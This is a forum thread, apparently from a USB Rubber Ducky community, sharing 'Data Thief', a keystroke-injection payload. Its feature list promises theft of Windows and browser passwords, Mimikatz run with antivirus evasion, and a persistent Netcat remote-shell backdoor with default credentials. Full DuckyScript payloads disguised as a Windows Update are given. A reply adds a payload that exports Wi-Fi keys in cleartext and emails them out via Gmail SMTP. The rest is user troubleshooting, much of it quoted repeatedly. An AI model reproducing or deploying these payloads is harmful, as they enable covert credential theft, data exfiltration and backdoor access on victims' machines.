[Payload] DT 2.5 (2.6 released in a few weeks) - Backup Passwords, Product Keys, Directory Listings and much more!

[UnKn0wnBooof]

Ultimate Data Thief (DT)

By Lavanoid Volcanic

GIVE THE DUCK POWER!

Features of this payload:

• Backup Windows Logon Passwords (Doesn't work on Windows 8.1).
• Backup saved passwords from Chrome, IE, Firefox etc.
• Get directory listings of common document paths such as Music, Pictures etc.
• Init script support, meaning that you can add batch scripts in the "Init" directory so that DT will execute it.
• Get a visual notification when program has executed (MSG.exe must be integrated in Windows. Usually not available in Windows Home Premium/Home Edition).
• Get a sound notification when program has executed. This can be configured by editing the configuration file.
• Verbose logging of backup process.
• Shut-down,reboot or lock system when program execution has completed.
• Replace Administrator password every time the program is ran. (Disabled by default)
• Wipe the "Run" dialogue history so it seems that nothing was ever ran from it.
• Read a configuration file instead of editing the DT.bat. Configuration file: DT_Configuration.ini
• Integrated Netcat/Nmap to listen on a port (Used for a remote shell). Thanks Shannon Morse for talking about Netcat so much. Netcat will be installed as a Windows service so it has admin access, and it runs upon Windows startup. Default username and password: Lavanoid (Username), LavanoidVolcanic (Password).
• Run Mimikatz without AV detection, using PowerSploit to accomplish this - Requested by MB60893. Thank you soooo much MB60893! An internet connection is currently required to run this feature.
• Listing of workgroups and domains on the local network.
• Customised NetCat remote command line.
• Unmount the payload storage once execution of DT has completed.
• Anything else?

Other new things:

• Edited the Compiler.bat to support SCRIPT_EX.bat
• Edited the payloads located in Scripts\Payloads
• Backup IE, Firefox, Opera etc.
• Cleaner DT.bat file, re-wrote the whole script for the 3rd time. Much more smaller and tidier now.
• The NetCat Terminal.bat uses a hashing algorithm for the password. Old Terminal.bat configuration files WILL be deleted since they WONT work with the newer version.

Other features of this program:

• Checking of main files located in \Res. Checked with a size verification and Sha1Sum (Sha1Sum used in v2.1+)
• Re-wrote/Re-writing everything from scratch, with more variables that can be triggered/changed, as well as a major tidy up. Everything is much more cleaner than it was before.
• Added a "API" as I like to call it; to check files with a Sha1Sum verification. Usage: call :DT_Sha1Sum_Check_Compact "File name/path" "Expected Sha1Sum"
• In version 2.2, I also added a script that adds a firewall entry for netcat. Why didn't I do that in the first place?
• No longer need to use SCRIPT_EX.exe.

Plans for later versions:

• Combining all EXE's together then encrypt them to avoid AV.
• Faster execution.
• Backup more programs.
• Add more cool features to show who's boss.
• Encrypt all the programs located in \Res so AV cant detect them and neither will they have to be stored in a encrypted zip archive.

Known issues:

• Slow at "Backing up" data - this is simply because DT has to extract the required data from a encrypted zip archive. An attempt to avoid AV.

Notes:

• New features are added in my free time. I'm usually busy so patience is most appreciated.
• Default username and password for the remote netcat login: Username: Lavanoid, Password: LavanoidVolcanic
• DON'T FORGET TO CHECK THE CONFIGURATION IN DT_Configuration.ini! You can open DT_Configuration.ini in any text editor. I personally use Notepad++ since it makes batch programming seem more fun.

Payload (optimized for the 4CAP firmware):

REM Author: Lavanoid Volcanic

REM This script supports Windows XP as well as Vista and 7.

REM I don't have Windows 8 (I really want it though) so I cant test it.

REM This Script looks for the drive named "JUNK" because "DUCKY" is too exposing.

GUI d

DELAY 500

GUI r

DELAY 1500

STRING notepad.exe

DELAY 200

ENTER

DELAY 1500

STRING @echo off

DELAY 200

ENTER

DELAY 200

STRING Ti

DELAY 200

STRING tle = Installing Windows Update...

DELAY 200

ENTER

STRING @echo Installing Windows Update...

DELAY 200

ENTER

STRING COLOR F0

DELAY 200

ENTER

STRING :start

DELAY 200

ENTER

STRING set drive=

DELAY 200

ENTER

STRING if not "%LOCALAPPDATA%"=="" goto win_new

DELAY 200

ENTER

STRING for /f "tokens=3 delims= " %%A in ('echo list volume ^| diskpart ^| findstr "JUNK"') do set drive=%%A

DELAY 200

ENTER

STRING if "%drive%"=="" goto start

DELAY 200

ENTER

STRING set drive=%drive%:

DELAY 200

ENTER

STRING if not exist "%drive%\Data\DT.bat" goto start

DELAY 200

ENTER

STRING %drive%

DELAY 200

ENTER

STRING CD "Data"

DELAY 200

ENTER

STRING "SCRIPT_EX.bat" "DT.bat"

DELAY 200

ENTER

STRING EXIT

DELAY 200

ENTER

STRING :win_new

DELAY 400

ENTER

DELAY 400

STRING for /f %%d in ('wmic volume get driveletter^, label ^| findstr "JUNK"') do set drive=%%d

DELAY 200

ENTER

STRING if "%drive%"=="" goto start

DELAY 200

ENTER

STRING if not exist "%drive%\Data\DT.bat" goto start

DELAY 200

ENTER

STRING %drive%

DELAY 200

ENTER

STRING CD "Data"

DELAY 200

ENTER

STRING "SCRIPT_EX.bat" "DT.bat"

DELAY 200

ENTER

STRING EXIT

DELAY 200

ENTER

CTRL S

DELAY 1500

STRING %TEMP%\DS.bat

DELAY 1000

ENTER

DELAY 600

ALT Y

DELAY 700

ALT F4

GUI r

DELAY 1500

STRING %TEMP%\DS.bat

ENTER

DELAY 1000

ALT y

DELAY 500

ALT y

DELAY 500

ALT y

DELAY 500

ALT y

DELAY 500

ALT y

DELAY 500

ALT y

DELAY 500

ALT y

Payload (Optimized for the dual duck firmware by having a delay at the start):

DELAY 15000

REM Author: Lavanoid Volcanic

REM This script supports Windows XP as well as Vista and 7.

REM I don't have Windows 8 (I really want it though) so I cant test it.

REM This Script looks for the drive named "JUNK" because "DUCKY" is too exposing.

GUI d

DELAY 500

GUI r

DELAY 1500

STRING notepad.exe

DELAY 200

ENTER

DELAY 1500

STRING @echo off

DELAY 200

ENTER

DELAY 200

STRING Ti

DELAY 200

STRING tle = Installing Windows Update...

DELAY 200

ENTER

STRING @echo Installing Windows Update...

DELAY 200

ENTER

STRING COLOR F0

DELAY 200

ENTER

STRING :start

DELAY 200

ENTER

STRING set drive=

DELAY 200

ENTER

STRING if not "%LOCALAPPDATA%"=="" goto win_new

DELAY 200

ENTER

STRING for /f "tokens=3 delims= " %%A in ('echo list volume ^| diskpart ^| findstr "JUNK"') do set drive=%%A

DELAY 200

ENTER

STRING if "%drive%"=="" goto start

DELAY 200

ENTER

STRING set drive=%drive%:

DELAY 200

ENTER

STRING if not exist "%drive%\Data\DT.bat" goto start

DELAY 200

ENTER

STRING %drive%

DELAY 200

ENTER

STRING CD "Data"

DELAY 200

ENTER

STRING "SCRIPT_EX.bat" "DT.bat"

DELAY 200

ENTER

STRING EXIT

DELAY 200

ENTER

STRING :win_new

DELAY 400

ENTER

DELAY 400

STRING for /f %%d in ('wmic volume get driveletter^, label ^| findstr "JUNK"') do set drive=%%d

DELAY 200

ENTER

STRING if "%drive%"=="" goto start

DELAY 200

ENTER

STRING if not exist "%drive%\Data\DT.bat" goto start

DELAY 200

ENTER

STRING %drive%

DELAY 200

ENTER

STRING CD "Data"

DELAY 200

ENTER

STRING "SCRIPT_EX.bat" "DT.bat"

DELAY 200

ENTER

STRING EXIT

DELAY 200

ENTER

CTRL S

DELAY 1500

STRING %TEMP%\DS.bat

DELAY 1000

ENTER

DELAY 600

ALT Y

DELAY 700

ALT F4

GUI r

DELAY 1500

STRING %TEMP%\DS.bat

ENTER

DELAY 1000

ALT y

DELAY 500

ALT y

DELAY 500

ALT y

DELAY 500

ALT y

DELAY 500

ALT y

DELAY 500

ALT y

DELAY 500

ALT y

GUI r

WANT FASTER EXECUTION? NO PROBLEM!

Here's a payload that you can encode to execute DT even faster! I would have integrated it into Installer.bat but Microsoft's batch language is really stupid so it won't write part of the script properly. Faster payload:

GUI D

DELAY 1000

GUI R

DELAY 1500

STRING cmd.exe

ENTER

DELAY 1500

STRING @echo off

ENTER

DELAY 500

STRING for /f %d in ('wmic volume get driveletter^, label ^| findstr "JUNK"') do set D=%d

ENTER

DELAY 1500

STRING set D=%D::=%

ENTER

DELAY 1000

STRING "%D%:\Data\SCRIPT_EX.bat" "DT.bat" & exit

ENTER

DELAY 1000

ALT Y

DELAY 500

ALT Y

DELAY 500

ALT Y

DELAY 500

ALT Y

DELAY 500

ALT Y

DELAY 500

ALT Y

DELAY 500

ALT Y

DELAY 500

ALT Y

DELAY 500

ALT Y

DELAY 500

If you are using a different besides a firmware that waits for a key to be pressed, you may want to set a delay at the start of the above payload. I recommend DELAY 15000.

This payload requires extra data to dump information, so you need to download all the files in the link below.

Download the zip file and extract it on your desktop, then run the "Installer.bat". The installer will ask you questions to help you configure the duck and the payload. Once installed, you can re-insert the duck and the payload will be ready.

Recommended Ducky Firmware:

4CAP - I recommend this firmware because Windows can take its time installing drivers (especially netbook's), so if Windows exceeds the delay time by installing drivers, then it wouldn't matter because as soon as you know that the drivers are installed - just press Caps lock 4 times. No time wasted :D .

DOWNLOADS!

Link to 4CAP: Here

Payload and data dumping programs: Here (Dropbox) or Here (Github)

Have fun!

Disclaimer (a typical one) - I'm not responsible for any turn out. If you run this payload or any of the other programs included within the zip archive - then you accept FULL responsibility. I highly doubt that this payload and the programs will damage your system, but a disclaimer is always good to reassure developers.

WARNING!

For those of you who are upgrading from 2.4 to 2.5 - remove the NetCat.bat file located in Data\Init as the installer has been integrated into DT.bat

REMEMBER: EDIT THE CONFIGURATION FILE BEFORE EXECUTING THIS PAYLOAD!

GREAT NEWS!!

I've been reviewing some of the code for DT and I've decided to make it even better. I've already made a lot of changes to the DT.bat and NetCat Terminal.bat BUT I'M NOT FINISHED! I'M JUST GETTING STARTED! Why not let the duck disable all other HID devices? I've already found some great programs that will allow me to accomplish this, now I just have to write the scripts!

Unfortunately, I'm running Ubuntu (latest version) so since I am not running Windows, I am not able to execute my goals of making this payload better. I could write the script using text editors installed on Ubuntu but it just isn't the same as writing with Notepad++, neither can I test it afterwards.

PATIENCE IS THE ESSENCE!

My goal is to bring you the best payload possible! I wan't as many features as possible!

I would really appreciate it if you leave a comment! Every comment counts (Negative comments are NOT appreciated however)

Edited May 17, 2014 by Lavanoid

[dannymcc]

This payload is really really good. The "execution complete" sound file really finishes it off nicely!

The only problem I have with it is a Windows Script Host error message that pops up on any Windows 7 client I try it on:

Script: C:\Users\DANNYM~1\AppData\Local\Temp\34525126.vbs

Line: 3

Char: 1

Error: Unable to open registry key "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\ProductId" for reading.

Code: 80070002

Source: WshShell.RegRead

Other than that - perfect!

[UnKn0wnBooof]

I'll try and see if I can fix this issue. I haven't had the issue on any of my computers. I'll release an update if I fix it. Keep an eye on the dropbox link to see if I upload an update.

[hzm74]

Hello,

I get the same message as Hackling said. Other than that, perfect.

Quick and smooth!

THNX.

[UnKn0wnBooof]

Hello,

I get the same message as Hackling said. Other than that, perfect.

Quick and smooth!

THNX.

I think I've solved the problem. Download the update from the Dropbox link that you went to before. The problem was the compiled batch file (wind). I've decided to leave it as a batch file, AKA Its now open-source. I tested it on a friends Windows 8 machine. I believe 64BIT machines don't like compiled batch files so much.

[UnKn0wnBooof]

This payload is really really good. The "execution complete" sound file really finishes it off nicely!

The only problem I have with it is a Windows Script Host error message that pops up on any Windows 7 client I try it on:

Script: C:\Users\DANNYM~1\AppData\Local\Temp\34525126.vbs

Line: 3

Char: 1

Error: Unable to open registry key "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\ProductId" for reading.

Code: 80070002

Source: WshShell.RegRead

Other than that - perfect!

I think I've solved the problem. Download the update from the Dropbox link that you went to before. The problem was the compiled batch file (wind). I've decided to leave it as a batch file, AKA Its now open-source. I tested it on a friends Windows 8 machine. I believe 64BIT machines don't like compiled batch files so much.

[dannymcc]

I'll give it a go today. Thank you so much!

[th3l0b3]

using the 1.4 version on a Win7 64bit and I am getting a VB error also

%TEMP%\118449023.vbs

Line: 4

Char: 1

Error: Unable to open registry key "HKLM\SOFTWARE\Microsoft NT\CurrentVersion\DigitalProductId" for reading.

Code: 80070002

Source: WshShell.RegRead

Edited November 12, 2013 by th3l0b3

[g1eagle]

I have a problem.. the invis.vbs opens as a text file.

Fixed that issue...

Script: C:\Users\DANNYM~1\AppData\Local\Temp\34525126.vbs

Line: 3

Char: 1

Error: Unable to open registry key "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\ProductId" for reading.

Code: 80070002

Source: WshShell.RegRead

Now having the above issue.

Edited November 16, 2013 by g1eagle

[UnKn0wnBooof]

using the 1.4 version on a Win7 64bit and I am getting a VB error also

%TEMP%\118449023.vbs

Line: 4

Char: 1

Error: Unable to open registry key "HKLM\SOFTWARE\Microsoft NT\CurrentVersion\DigitalProductId" for reading.

Code: 80070002

Source: WshShell.RegRead

Hhhmmmm. This vb script error seems to be a really odd. Works on all of my machines. Perhaps I should re-write the code in C++ and compile it as a executable program. I haven't written a executable program before but I can give it a try. It will be some time before I upload an update since I'm usually busy.

[UnKn0wnBooof]

I have a problem.. the invis.vbs opens as a text file.

Fixed that issue...

Script: C:\Users\DANNYM~1\AppData\Local\Temp\34525126.vbs

Line: 3

Char: 1

Error: Unable to open registry key "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\ProductId" for reading.

Code: 80070002

Source: WshShell.RegRead

Now having the above issue.

Hhhmmmm. This vb script error seems to be a really odd. Works on all of my machines. Perhaps I should re-write the code in C++ and compile it as a executable program. I haven't written a executable program before but I can give it a try. It will be some time before I upload an update since I'm usually busy.

[UnKn0wnBooof]

using the 1.4 version on a Win7 64bit and I am getting a VB error also

%TEMP%\118449023.vbs

Line: 4

Char: 1

Error: Unable to open registry key "HKLM\SOFTWARE\Microsoft NT\CurrentVersion\DigitalProductId" for reading.

Code: 80070002

Source: WshShell.RegRead

I think I've fixed it now. I wrote the program in visual basic and compiled it as a .exe

[UnKn0wnBooof]

I have a problem.. the invis.vbs opens as a text file.

Fixed that issue...

Script: C:\Users\DANNYM~1\AppData\Local\Temp\34525126.vbs

Line: 3

Char: 1

Error: Unable to open registry key "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\ProductId" for reading.

Code: 80070002

Source: WshShell.RegRead

Now having the above issue.

I think I've fixed it now. I wrote the program in visual basic and compiled it as a .exe

[th3l0b3]

I am not getting the error anymore, which is awesome!

The only issue i see is that mimikatz and Chrome is not getting the passes to run. Keys, Other info and Wifi (have not tested on 64bit laptop yet for wifi but it works for sure on 32bit) seems to be working perfectly though.

[JohnD03]

This payload is well written, just downloaded and exploring all of the files. Excellent work.

[P.Pophair]

Where do I find the "back upped" passwords? I followed the instructions, I have Twin Duck firmaware installed, and it seems like its working when i insert it. It seems like its running wverything in the .bat file. but there is no completion sound either. I did change the name of the SD card to JUNK. Can anyone help out a beginner, please?? Thanks in advance

[UnKn0wnBooof]

Where do I find the "back upped" passwords? I followed the instructions, I have Twin Duck firmaware installed, and it seems like its working when i insert it. It seems like its running wverything in the .bat file. but there is no completion sound either. I did change the name of the SD card to JUNK. Can anyone help out a beginner, please?? Thanks in advance

The passwords should be stored in "USBDRIVE:\Data\Backups\Computer-Name\what ever else"

If the backup complete sound doesn't work, then it's probably because your Windows installation doesn't recognise the vbs file type. I believe it's because I forgot a string that tells Windows to use the vb interpreter. I'll see if I can fix it in the next release.

[P.Pophair]

Yeah, i figured it should be in there, but the dir is completely empty. I've tried both an an XP and a windows 8.1 machine, no luck. Any hints on what I might have screwed up?? Thanks again

[UnKn0wnBooof]

Yeah, i figured it should be in there, but the dir is completely empty. I've tried both an an XP and a windows 8.1 machine, no luck. Any hints on what I might have screwed up?? Thanks again

I've just uploaded an update. I've checked all the script, I've added a logging function to the SP.bat, updated Wind.exe to support a few more programs, I'm not sure what else could be causing the problem. Maybe its the %COMPUTERNAME% variable? If you edit the SP.bat, you could add the following line of script:

set COMPUTERNAME=MYCOMPUTER

maybe that might help. It seems to work on everything I've tested it on though.

[UnKn0wnBooof]

Yeah, i figured it should be in there, but the dir is completely empty. I've tried both an an XP and a windows 8.1 machine, no luck. Any hints on what I might have screwed up?? Thanks again

It could also be that your edition of Window's doesn't support the "set /a" function - which is used to add up. I guess it requires a little tinkering with the SP.bat.

[mw3demo]

Keep it up Lavanoid! Still haven't had a chance to try this on my ducky, but love how you are quickly updating and improving this script with each users feedback.

Just a quick post to say well done!

[P.Pophair]

I have tried various things with no success. I suspect it might have something to do with the keyboard. When i encode the inject.bin file i get the following messages:

C:\Users\TEST\Desktop\Ducky_Files\Data_Thief_1.6\Scripts>java -jar encoder.jar

-i inject.txt -o inject.bin -l dk.properties

Hak5 Duck Encoder 2.6

Loading File ..... [ OK ]

Loading Keyboard File ..... [ OK ]

Loading Language File ..... [ OK ]

Loading DuckyScript ..... [ OK ]

Char not found:ASCII_5E

Char not found:ASCII_5E

Char not found:ASCII_5E

Char not found:ASCII_5E

DuckyScript Complete..... [ OK ]

it does seem to type everything right, when it opens up notepad though. So im really pulling my hair right now. Sorry if its noob questions, im pretty new to this, and im still learning. Thanks again

[3mrgnc3]

You have some characters missing in the .properties file so the encoder doesn't know what to encode the keystokes indicated in the error output as.

I have the same problem using uk.properties to encode a payload I created.

REM Author: 3mrgnc3 (Emergence)

REM Description: use native Win tools(cmd, powershell and netsh) to email cleartext creds ;)

REM Inspiration taken from 'mrgray'&'Bucky67GTO'



DELAY 3000

GUI d

DELAY 400

GUI r

DELAY 1500

STRING powershell Start-Process cmd.exe -Verb runAs

ENTER

DELAY 600

ALT y

DELAY 600

STRING cd C:\Windows\System32

ENTER

DELAY 200

STRING powershell

ENTER

DELAY 800

STRING netsh wlan export profile key=clear

ENTER

DELAY 800

STRING $EmailFrom = “Rubber@Ducky.com”

ENTER

DELAY 200

STRING $EmailTo = “user@gmail.com”

ENTER

DELAY 200

STRING $Subject = “Cred Harvester”

ENTER

DELAY 200

STRING $body = cat Wireless*.xml

ENTER

DELAY 200

STRING $SMTPServer = “smtp.gmail.com”

ENTER

DELAY 200

STRING $SMTPClient = New-Object Net.Mail.SmtpClient($SmtpServer, 587)

ENTER

DELAY 200

STRING $SMTPClient.EnableSsl = $true

ENTER

DELAY 200

STRING $SMTPClient.Credentials = New-Object System.Net.NetworkCredential(“user@gmail.com”, “password”);

ENTER

DELAY 200

STRING $SMTPClient.Send($EmailFrom, $EmailTo, $Subject, $Body)

ENTER

DELAY 4500

STRING erase Wireless*.xml

ENTER

DELAY 200

STRING exit

ENTER

DELAY 200

STRING exit

ENTER

DELAY 200

I haven't looked for a fix in a while but thanks to your post it has jogged my memory about this issue.

I will dig into it over the weekend and report back if i get my issue fixed.

The stuff I uncover should help you out with you dk.properties issue too.

If you do manage to find a solution before me please do post your results/fixes.

Peace.

Edited November 29, 2013 by 3mergenc3

[UnKn0wnBooof]

I have tried various things with no success. I suspect it might have something to do with the keyboard. When i encode the inject.bin file i get the following messages:

C:\Users\TEST\Desktop\Ducky_Files\Data_Thief_1.6\Scripts>java -jar encoder.jar

-i inject.txt -o inject.bin -l dk.properties

Hak5 Duck Encoder 2.6

Loading File ..... [ OK ]

Loading Keyboard File ..... [ OK ]

Loading Language File ..... [ OK ]

Loading DuckyScript ..... [ OK ]

Char not found:ASCII_5E

Char not found:ASCII_5E

Char not found:ASCII_5E

Char not found:ASCII_5E

DuckyScript Complete..... [ OK ]

it does seem to type everything right, when it opens up notepad though. So im really pulling my hair right now. Sorry if its noob questions, im pretty new to this, and im still learning. Thanks again

Hhhmm. That's not a issue with the payload. Either that's an issue with the encoder or it's because you don't have all the required packages installed to use the encoder.

These links may help:

https://code.google.com/p/ducky-decode/wiki/Encoder_Howto

I believe you also need Microsoft Visual C++ 2010 Redistributable. You can download the web installer from my Dropbox account: https://www.dropbox.com/l/i2teEbn96XtxpwQ9WfnNtf

Hope this helps.

[UnKn0wnBooof]

You have some characters missing in the .properties file so the encoder doesn't know what to encode the keystokes indicated in the error output as.

I have the same problem using uk.properties to encode a payload I created.

REM Author: 3mrgnc3 (Emergence)

REM Description: use native Win tools(cmd, powershell and netsh) to email cleartext creds ;)

REM Inspiration taken from 'mrgray'&'Bucky67GTO'



DELAY 3000

GUI d

DELAY 400

GUI r

DELAY 1500

STRING powershell Start-Process cmd.exe -Verb runAs

ENTER

DELAY 600

ALT y

DELAY 600

STRING cd C:\Windows\System32

ENTER

DELAY 200

STRING powershell

ENTER

DELAY 800

STRING netsh wlan export profile key=clear

ENTER

DELAY 800

STRING $EmailFrom = “Rubber@Ducky.com”

ENTER

DELAY 200

STRING $EmailTo = “user@gmail.com”

ENTER

DELAY 200

STRING $Subject = “Cred Harvester”

ENTER

DELAY 200

STRING $body = cat Wireless*.xml

ENTER

DELAY 200

STRING $SMTPServer = “smtp.gmail.com”

ENTER

DELAY 200

STRING $SMTPClient = New-Object Net.Mail.SmtpClient($SmtpServer, 587)

ENTER

DELAY 200

STRING $SMTPClient.EnableSsl = $true

ENTER

DELAY 200

STRING $SMTPClient.Credentials = New-Object System.Net.NetworkCredential(“user@gmail.com”, “password”);

ENTER

DELAY 200

STRING $SMTPClient.Send($EmailFrom, $EmailTo, $Subject, $Body)

ENTER

DELAY 4500

STRING erase Wireless*.xml

ENTER

DELAY 200

STRING exit

ENTER

DELAY 200

STRING exit

ENTER

DELAY 200

I haven't looked for a fix in a while but thanks to your post it has jogged my memory about this issue.

I will dig into it over the weekend and report back if i get my issue fixed.

The stuff I uncover should help you out with you dk.properties issue too.

If you do manage to find a solution before me please do post your results/fixes.

Peace.

I think your right. I havent had the issue with my systems but there is a possibility that the properties file needs tinkering with.